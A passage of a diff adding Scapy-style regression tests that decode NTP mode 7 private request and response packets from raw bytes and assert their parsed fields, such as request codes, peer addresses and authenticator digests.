+s = b'\x97\x00\x03\x03\x00\x01\x00x\xc0\xa8zf\xc0\xa8ze\x00{\x00\x01\x01\x00\x10\x06\x00\x00\x00)\x00\x00\x00\x1e\x00\x02\xda|\x00\x00\x00\xbc\x00\x00\x00\x00\x00\x00\x0b\x07\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\nJ\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x0b\x07\x00\x00\x00\x00\xde\x7fB\x89\x00<\x8d\xc5\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
+p = NTP(s)
+
+assert(isinstance(p, NTPPrivate))
+assert(p.response == 1)
+assert(p.more == 0)
+assert(p.version == 2)
+assert(p.mode == 7)
+assert(p.request_code == 3)
+assert(isinstance(x, NTPInfoPeerStats) for x in p.data)
+
+
+= NTP Private (mode 7) - REQ_SYS_INFO (1) - request
+s = b'\x17\x00\x03\x04\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
+p = NTP(s)
+
+assert(isinstance(p, NTPPrivate))
+assert(p.response == 0)
+assert(p.more == 0)
+assert(p.version == 2)
+assert(p.mode == 7)
+assert(p.request_code == 4)
+
+
+= NTP Private (mode 7) - REQ_SYS_INFO (2) - response
+s = b'\x97\x00\x03\x04\x00\x01\x00P\x7f\x7f\x01\x00\x03\x00\x0b\xf0\x00\x00\x00\x00\x00\x00\x03\x06\x7f\x7f\x01\x00\xdb<\xca\xf3\xa1\x92\xe1\xf7\x06\x00\x00\x00\xce\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x0b\x07\x00\x00\x00\x00\xde\x7fB\x89\x00<\x8d\xc5'
+p = NTP(s)
+
+assert(isinstance(p, NTPPrivate))
+assert(p.response == 1)
+assert(p.more == 0)
+assert(p.version == 2)
+assert(p.mode == 7)
+assert(p.request_code == 4)
+assert(isinstance(p.data[0], NTPInfoSys))
+assert(p.data[0].peer == "127.127.1.0")
+assert(p.data[0].peer_mode == 3)
+assert(p.data[0].leap == 0)
+assert(p.data[0].stratum == 11)
+assert(p.data[0].precision == 240)
+assert(p.data[0].refid == "127.127.1.0")
+
+
+= NTP Private (mode 7) - REQ_SYS_STATS (1) - request
+s = b'\x17\x00\x03\x05\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
+p = NTP(s)
+assert(isinstance(p, NTPPrivate))
+assert(p.response == 0)
+assert(p.more == 0)
+assert(p.version == 2)
+assert(p.mode == 7)
+assert(p.request_code == 5)
+
+
+= NTP Private (mode 7) - REQ_SYS_STATS (2) - response
+s = b'\x97\x00\x03\x05\x00\x01\x00,\x00\x02\xe2;\x00\x02\xe2;\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x0b%\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x0b%\x00\x00\x00\x00\x00\x00\x0b=\x00\x00\x00\x00'
+p = NTP(s)
+assert(isinstance(p, NTPPrivate))
+assert(p.response == 1)
+assert(p.more == 0)
+assert(p.version == 2)
+assert(p.mode == 7)
+assert(p.request_code == 5)
+assert(isinstance(p.data[0], NTPInfoSysStats))
+assert(p.data[0].timeup == 188987)
+assert(p.data[0].received == 2877)
+
+
+= NTP Private (mode 7) - REQ_IO_STATS (1) - request
+s = b'\x17\x00\x03\x06\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
+p = NTP(s)
+assert(isinstance(p, NTPPrivate))
+assert(p.response == 0)
+assert(p.more == 0)
+assert(p.version == 2)
+assert(p.mode == 7)
+assert(p.request_code == 6)
+
+
+= NTP Private (mode 7) - REQ_IO_STATS (2) - response
+s = b'\x97\x00\x03\x06\x00\x01\x00(\x00\x00\x03\x04\x00\n\x00\t\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00J\x00\x00\x00\xd9\x00\x00\x00\x00\x00\x00\x00J\x00\x00\x00J'
+p = NTP(s)
+assert(isinstance(p, NTPPrivate))
+assert(p.response == 1)
+assert(p.more == 0)
+assert(p.version == 2)
+assert(p.mode == 7)
+assert(p.request_code == 6)
+assert(p.data[0].timereset == 772)
+assert(p.data[0].sent == 217)
+
+
+= NTP Private (mode 7) - REQ_MEM_STATS (1) - request
+s = b'\x17\x00\x03\x07\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
+p = NTP(s)
+assert(isinstance(p, NTPPrivate))
+assert(p.response == 0)
+assert(p.more == 0)
+assert(p.version == 2)
+assert(p.mode == 7)
+assert(p.request_code == 7)
+
+
+= NTP Private (mode 7) - REQ_MEM_STATS (2) - response
+s = b'\x97\x00\x03\x07\x00\x01\x00\x94\x00\x00\n\xee\x00\x0f\x00\r\x00\x00\x00<\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
+p = NTP(s)
+assert(isinstance(p, NTPPrivate))
+assert(p.response == 1)
+assert(p.more == 0)
+assert(p.version == 2)
+assert(p.mode == 7)
+assert(p.request_code == 7)
+assert(p.data[0].timereset == 2798)
+assert(p.data[0].totalpeermem == 15)
+assert(p.data[0].freepeermem == 13)
+assert(p.data[0].findpeer_calls == 60)
+assert(p.data[0].hashcount[25] == 1 and p.data[0].hashcount[89] == 1)
+
+
+= NTP Private (mode 7) - REQ_LOOP_INFO (1) - request
+s = b'\x17\x00\x03\x08\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
+p = NTP(s)
+assert(isinstance(p, NTPPrivate))
+assert(p.response == 0)
+assert(p.more == 0)
+assert(p.version == 2)
+assert(p.mode == 7)
+assert(p.request_code == 8)
+
+
+= NTP Private (mode 7) - REQ_LOOP_INFO (2) - response
+s = b'\x97\x00\x03\x08\x00\x01\x00\x18\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x06\x00\x00\x00\x04'
+p = NTP(s)
+assert(isinstance(p, NTPPrivate))
+assert(p.response == 1)
+assert(p.more == 0)
+assert(p.version == 2)
+assert(p.mode == 7)
+assert(p.request_code == 8)
+assert(p.data[0].last_offset == 0.0)
+assert(p.data[0].watchdog_timer == 4)
+
+
+
+= NTP Private (mode 7) - REQ_TIMER_STATS (1) - request
+s = b'\x17\x00\x03\t\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
+p = NTP(s)
+assert(isinstance(p, NTPPrivate))
+assert(p.response == 0)
+assert(p.more == 0)
+assert(p.version == 2)
+assert(p.mode == 7)
+assert(p.request_code == 9)
+
+
+= NTP Private (mode 7) - REQ_TIMER_STATS (2) - response
+s = b'\x97\x00\x03\t\x00\x01\x00\x10\x00\x00\x01h\x00\x00\x01h\x00\x00\x00\x00\x00\x00\x00\x00'
+p = NTP(s)
+assert(isinstance(p, NTPPrivate))
+assert(p.response == 1)
+assert(p.more == 0)
+assert(p.version == 2)
+assert(p.mode == 7)
+assert(p.request_code == 9)
+assert(p.data[0].timereset == 360)
+assert(p.data[0].alarms == 360)
+
+
+= NTP Private (mode 7) - REQ_CONFIG (1) - request
+s = b'\x17\x80\x03\n\x00\x01\x00\xa8\xc0\xa8zm\x01\x03\x06\n\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xdb9\xec\x93\xb1\xa8\xa0a\x00\x00\x00\x01Z\xba\xfe\x01\x1cr\x05d\xa1\x14\xb1)\xe9vD\x8d'
+p = NTP(s)
+assert(isinstance(p, NTPPrivate))
+assert(p.response == 0)
+assert(p.more == 0)
+assert(p.version == 2)
+assert(p.mode == 7)
+assert(p.request_code == 10)
+assert(p.nb_items == 1)
+assert(p.data_item_size == 168)
+assert(hasattr(p, 'req_data'))
+assert(isinstance(p.req_data[0], NTPConfPeer))
+assert(p.req_data[0].peeraddr == "192.168.122.109")
+assert(p.req_data[0].hmode == 1)
+assert(p.req_data[0].version == 3)
+assert(p.req_data[0].minpoll == 6)
+assert(p.req_data[0].maxpoll == 10)
+assert(hasattr(p, 'authenticator'))
+assert(p.authenticator.key_id == 1)
+assert(bytes_hex(p.authenticator.dgst) == b'5abafe011c720564a114b129e976448d')
+
+
+= NTP Private (mode 7) - REQ_CONFIG (2) - response
+s = b'\x97\x00\x03\n\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
+p = NTP(s)
+assert(isinstance(p, NTPPrivate))
+assert(p.response == 1)
+assert(p.more == 0)
+assert(p.version == 2)
+assert(p.mode == 7)
+assert(p.auth == 0)
+assert(p.request_code == 10)
+assert(p.err == 0)
+assert(p.nb_items == 0)
+assert(p.data_item_size == 0)
+
+
+= NTP Private (mode 7) - REQ_UNCONFIG (1) - request
+s = b'\x17\x80\x03\x0b\x00\x01\x00\x18\xc0\xa8zk\x00\x00\x00\x00X\x88P\xb1\xff\x7f\x00\x008\x88P\xb1\xff\x7f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xdb9\xf0\x1bq\xc8\xe5\xa6\x00\x00\x00\x01\x1dM;\xfeZ~]Z\xe3Ea\x92\x9aE\xd8%'
+p = NTP(s)
+assert(isinstance(p, NTPPrivate))
+assert(p.response == 0)
+assert(p.more == 0)
+assert(p.version == 2)
+assert(p.mode == 7)
+assert(p.request_code == 11)
+assert(p.nb_items == 1)
+assert(p.data_item_size == 24)
+assert(hasattr(p, 'req_data'))
+assert(isinstance(p.req_data[0], NTPConfUnpeer))
+assert(p.req_data[0].peeraddr == "192.168.122.107")
+assert(p.req_data[0].v6_flag == 0)
+assert(hasattr(p, 'authenticator'))
+assert(p.authenticator.key_id == 1)
+assert(bytes_hex(p.authenticator.dgst) == b'1d4d3bfe5a7e5d5ae34561929a45d825')
+
+
+= NTP Private (mode 7) - REQ_UNCONFIG (2) - response
+s = b'\x97\x00\x03\x0b\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
+p = NTP(s)
+assert(isinstance(p, NTPPrivate))
+assert(p.response == 1)
+assert(p.more == 0)
+assert(p.version == 2)
+assert(p.mode == 7)
+assert(p.auth == 0)
+assert(p.request_code == 11)
+assert(p.err == 0)
+assert(p.nb_items == 0)
+assert(p.data_item_size == 0)
+
+
+= NTP Private (mode 7) - REQ_RESADDFLAGS (1) - request
+s = b'\x17\x80\x03\x11\x00\x01\x000\xc0\xa8zi\xff\xff\xff\xff\x04\x00\x00\x00\x00\x00\x00\x00"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xdb9\xf0V\xa9"\xe6_\x00\x00\x00\x01>=\xb70Tp\xee\xae\xe1\xad4b\xef\xe3\x80\xc8'
+p = NTP(s)
+assert(isinstance(p, NTPPrivate))
+assert(p.response == 0)
+assert(p.more == 0)
+assert(p.version == 2)
+assert(p.mode == 7)
+assert(p.request_code == 17)
+assert(p.nb_items == 1)
+assert(p.data_item_size == 48)
+assert(hasattr(p, 'req_data'))
+assert(isinstance(p.req_data[0], NTPConfRestrict))
+assert(p.req_data[0].addr == "192.168.122.105")
+assert(p.req_data[0].mask == "255.255.255.255")
+assert(hasattr(p, 'authenticator'))
+assert(p.authenticator.key_id == 1)
+assert(bytes_hex(p.authenticator.dgst) == b'3e3db7305470eeaee1ad3462efe380c8')
+
+
+= NTP Private (mode 7) - REQ_RESSUBFLAGS (1) - request
+s = b'\x17\x80\x03\x12\x00\x01\x000\xc0\xa8zi\xff\xff\xff\xff\x00\x10\x00\x00\x00\x00\x00\x00"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xdb9\xf0F\xe0C\xa9@\x00\x00\x00\x01>e\r\xdf\xdb\x1e1h\xd0\xca)L\x07k\x90\n'
+p = NTP(s)
+assert(isinstance(p, NTPPrivate))
+assert(p.response == 0)
+assert(p.more == 0)
+assert(p.version == 2)
+assert(p.mode == 7)
+assert(p.request_code == 18)
+assert(p.nb_items == 1)
+assert(p.data_item_size == 48)
+assert(hasattr(p, 'req_data'))
+assert(isinstance(p.req_data[0], NTPConfRestrict))
+assert(p.req_data[0].addr == "192.168.122.105")
+assert(p.req_data[0].mask == "255.255.255.255")
+assert(hasattr(p, 'authenticator'))
+assert(p.authenticator.key_id == 1)
+assert(bytes_hex(p.authenticator.dgst) == b'3e650ddfdb1e3168d0ca294c076b900a')
+
+
+= NTP Private (mode 7) - REQ_RESET_PEER (1) - request
+s = b"\x17\x80\x03\x16\x00\x01\x00\x18\xc0\xa8zf\x00\x00\x00\x00X\x88P\xb1\xff\x7f\x00\x008\x88P\xb1\xff\x7f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xdb9\xef!\x99\x88\xa3\xf1\x00\x00\x00\x01\xb1\xff\xe8\xefB=\xa9\x96\xdc\xe3\x13'\xb3\xfc\xc2\xf5"
+p = NTP(s)
+assert(isinstance(p, NTPPrivate))
+assert(p.response == 0)
+assert(p.more == 0)
+assert(p.version == 2)
+assert(p.mode == 7)
+assert(p.request_code == 22)
+assert(p.nb_items == 1)
+assert(p.data_item_size == 24)
+assert(hasattr(p, 'req_data'))
+assert(isinstance(p.req_data[0], NTPConfUnpeer))
+assert(p.req_data[0].peeraddr == "192.168.122.102")
+assert(p.req_data[0].v6_flag == 0)
+
+
+= NTP Private (mode 7) - REQ_AUTHINFO (1) - response
+s = b'\x97\x00\x03\x1c\x00\x01\x00$\x00\x00\x01\xdd\x00\x00\x00\x02\x00\x00\x00\n\x00\x00\x00`\x00\x00\x00\x00\x00\x00\x00\t\x00\x00\x00/\x00\x00\x00\x00\x00\x00\x00\x01'
+p = NTP(s)
+assert(isinstance(p, NTPPrivate))
+assert(p.response == 1)
+assert(p.more == 0)
+assert(p.version == 2)
+assert(p.mode == 7)
+assert(p.auth == 0)
+assert(p.request_code == 28)
+assert(p.err == 0)
+assert(p.nb_items == 1)
+assert(p.data_item_size == 36)
+assert(hasattr(p, 'data'))
+assert(isinstance(p.data[0], NTPInfoAuth))
+assert(p.data[0].timereset == 477)
+assert(p.data[0].numkeys == 2)
+assert(p.data[0].numfreekeys == 10)
+assert(p.data[0].keylookups == 96)
+assert(p.data[0].keynotfound == 0)
+assert(p.data[0].encryptions == 9)
+assert(p.data[0].decryptions == 47)
+assert(p.data[0].expired == 0)
+assert(p.data[0].keyuncached == 1)
+
+
+= NTP Private (mode 7) - REQ_ADD_TRAP (1) - request
+s = b'\x17\x80\x03\x1e\x00\x01\x000\x00\x00\x00\x00\xc0\x00\x02\x03H\x0f\x00\x00\x00\x00\x00\x00"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xdb9\xedB\xdd\xda\x7f\x97\x00\x00\x00\x01b$\xb8IM.\xa61\xd0\x85I\x8f\xa7\'\x89\x92'
+p = NTP(s)
+assert(isinstance(p, NTPPrivate))
+assert(p.response == 0)
+assert(p.more == 0)
+assert(p.version == 2)
+assert(p.mode == 7)
+assert(p.auth == 1)
+assert(p.request_code == 30)
+assert(p.err == 0)
+assert(p.nb_items == 1)
+assert(hasattr(p, 'req_data'))
+assert(isinstance(p.req_data[0], NTPConfTrap))
+assert(p.req_data[0].trap_address == '192.0.2.3')
+assert(hasattr(p, 'authenticator'))
+assert(p.authenticator.key_id == 1)
+assert(bytes_hex(p.authenticator.dgst) == b'6224b8494d2ea631d085498fa7278992')
+
+
+= NTP Private (mode 7) - REQ_ADD_TRAP (2) - response
+s = b'\x97\x00\x03\x1e\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
+p = NTP(s)
+assert(isinstance(p, NTPPrivate))
+assert(p.response == 1)
+assert(p.more == 0)
+assert(p.version == 2)
+assert(p.mode == 7)
+assert(p.auth == 0)
+assert(p.request_code == 30)
+assert(p.err == 0)
+assert(p.nb_items == 0)
+assert(p.data_item_size == 0)
+
+
+= NTP Private (mode 7) - REQ_CLR_TRAP (1) - request
+s = b'\x17\x80\x03\x1f\x00\x01\x000\x00\x00\x00\x00\xc0\x00\x02\x03H\x0f\x00\x00\x00\x00\x00\x00"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xdb9\xedb\xb3\x18\x1c\x00\x00\x00\x00\x01\xa5_V\x9e\xb8qD\x92\x1b\x1c>Z\xad]*\x89'
+p = NTP(s)
+assert(isinstance(p, NTPPrivate))
+assert(p.response == 0)
+assert(p.more == 0)
+assert(p.version == 2)
